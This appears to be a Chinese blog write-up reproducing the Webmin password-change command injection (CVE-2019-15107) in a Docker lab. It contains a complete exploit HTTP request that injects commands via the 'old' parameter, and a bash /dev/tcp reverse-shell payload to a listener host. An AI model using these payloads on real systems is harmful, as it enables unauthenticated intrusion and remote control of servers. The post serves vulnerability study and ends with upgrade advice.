【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)

0x01 概述

Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。当版本为1.890时,工具在默认配置下易受漏洞的威胁,而在其它版本当用户开启密码过期策略时,受该漏洞威胁。

官方给的修补是直接删除了代码中的qx/..../,而且该应用在官方提供的sourceforge下载的源码才包含这个漏洞,而官方Github上的代码是安全的。这也证明这个RCE漏洞很有可能是一次供应链攻击,黑客控制了官方sourceforge账户并植入了后门。

大佬的文章非常清晰明了,可以看看:
https://blog.csdn.net/qq_43380549/article/details/100011292

0x02 影响版本

webmin=1.882-1.920
条件:1.890版本,漏洞点的触发只需要在修改密码处传一个expired参数执行命令即可。不需要passwd_mode=2的必要条件。除1.890版本,其余受影响的版本的服务器的配置文件需passwd_mode=2的条件。无需用户名密码,可执行任意命令。

0x03 漏洞环境

centos+docker(CVE-2019-15107) webmin 1.910

1、访问https://192.168.178.128:10000
【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)_第1张图片2、登录前去修改一下root的密码(不然登不进去),docker exec -it 0cfbca18f396 /bin/bash,当前版本需要进webmin容器里开启密码重置功能
【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)_第2张图片3、登陆后,Webmin-> Webmin Configuration-> Authentication把“允许用户使用旧密码设置新密码”的选项给选上,保存!vulhub的默认是选上了的。
【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)_第3张图片4、查看配置文件cat /etc/webmin/miniserv.conf
【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)_第4张图片

0x04 漏洞复现

该漏洞利用条件简单,无需登录,直接发送post请求包即可,需保证Host和Referer都为https://IP:10000

一、命令执行:
1、抓取修改密码处的包
【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)_第5张图片
【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)_第6张图片2、将请求改为password_change.cgi,post数据包中的参数也需要改一下,利用点在old参数处,利用|符号执行命令,这里root用户是Linux系统的root用户,linux系统的用户认证方式为Unix authenticaton,所以会受限制;用户为空、随便写或用户为webmin用户,认证方式为无。
原:user=root&one=&new=12345678&repeat=12345678&others=1
改:user=tttt&old=11|id&new1=12345678&new2=12345678&others=1
【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)_第7张图片3、1.890版本利用只需要在post数据中有expired参数,expired=whoami就可以执行。

4、1.9.10版本请求包:

POST /password_change.cgi HTTP/1.1
Host: 192.168.178.128:10000
Connection: close
Content-Length: 57
X-PJAX-URL: save_passwd.cgi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: text/plain;charset=UTF-8
X-Requested-From: passwd
Accept: text/html, */*; q=0.01
X-Requested-From-Tab: webmin
X-Requested-With: XMLHttpRequest
X-PJAX: true
X-PJAX-Container: [data-dcontainer]
Origin: https://192.168.178.128:10000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.178.128:10000/passwd/edit_passwd.cgi?user=root&xnavigation=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: redirect=1; testing=1; sid=df8de950b9d2b05f1822332afda5ba44; sessiontest=1

user=root1&old=11|id&new1=12345678&new2=12345678&others=1

4、命令执行成功
【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)_第8张图片
二、反弹shell:
1、将bash -c "bash -i >& /dev/tcp/192.168.178.3/4444 0>&1"命令使用URL编码后放到可执行命令的参数后
【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)_第9张图片2、执行后返回空白,同时收到shell,反弹成功
【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)_第10张图片

0x05 修复建议

升级到1.930版本

你可能感兴趣的:(漏洞复现验证,webmin,远程命令执行)